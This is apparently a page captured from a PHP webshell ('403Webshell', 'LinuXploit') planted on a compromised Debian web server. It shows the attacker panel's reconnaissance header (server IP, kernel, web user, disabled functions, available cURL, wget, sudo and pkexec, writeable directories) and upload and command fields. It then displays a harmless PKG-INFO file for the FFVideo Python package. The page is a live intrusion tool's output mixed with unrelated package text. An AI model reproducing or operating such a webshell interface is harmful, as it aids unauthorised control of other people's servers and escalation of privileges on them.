403Webshell
Server IP : 80.241.246.6  /  Your IP : 216.73.216.129
Web Server : Apache/2.4.25 (Debian)
System : Linux kharagauli 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
User : www-data ( 33)
PHP Version : 7.0.33-0+deb9u12
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/kharagauli1/moduls/video_gallery/admin/youtube/build/ffvideo/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/kharagauli1/moduls/video_gallery/admin/youtube/build/ffvideo/PKG-INFO
Metadata-Version: 1.0
Name: FFVideo
Version: 0.0.13
Summary: FFVideo is a python extension makes possible to access to decoded frames at two format: PIL.Image or numpy.ndarray.
Home-page: http://bitbucket.org/zakhar/ffvideo/
Author: Zakhar Zibarov
Author-email: zakhar.zibarov@gmail.com
License: UNKNOWN
Description: FFVideo
        =======
        
        Installation
        ------------
        
        In Ubuntu you can install the above using the following commands::
        
            sudo aptitude install python-dev cython libavcodec-dev libavformat-dev libswscale-dev
        
            tar -xf FFVideo-0.0.13.tar.gz
            cd FFVideo-0.0.13
            python setup.py install
        
        or::
        
            sudo aptitude install python-dev cython libavcodec-dev libavformat-dev libswscale-dev python-pip
            pip install ffvideo
        
        How to use
        ----------
        
        Getting thumnails or videostream info
        ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
        ::
        
            from ffvideo import VideoStream
        
            def print_info(vs):
                print '-' * 20
                print "codec: %s" % vs.codec_name
                print "duration: %.2f" % vs.duration
                print "bit rate: %d" % vs.bitrate
                print "frame size: %dx%d" % (vs.frame_width, vs.frame_height)
                print "frame_mode: %s" % vs.frame_mode
        
        
            vs = VideoStream('0.flv')
            print_info(vs)
        
            vs = VideoStream('0.flv',
                             frame_size=(128, None), # scale to width 128px
                             frame_mode='L') # convert to grayscale
            print_info(vs)
        
            frame = vs.get_frame_at_sec(2)
            print frame.size
        
            # PIL image, required installed PIL
            frame.image().save('frame2sec.jpeg')
        
            # numpy.ndarray, required installed numpy
            print frame.ndarray().shape
        
        Iterating over frame sequence
        ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
        ::
        
            from ffvideo import VideoStream
        
            for frame in VideoStream('0.flv'):
                print frame.timestamp
        
        
Platform: UNKNOWN

Youez - 2016 - github.com/yon3zu
LinuXploit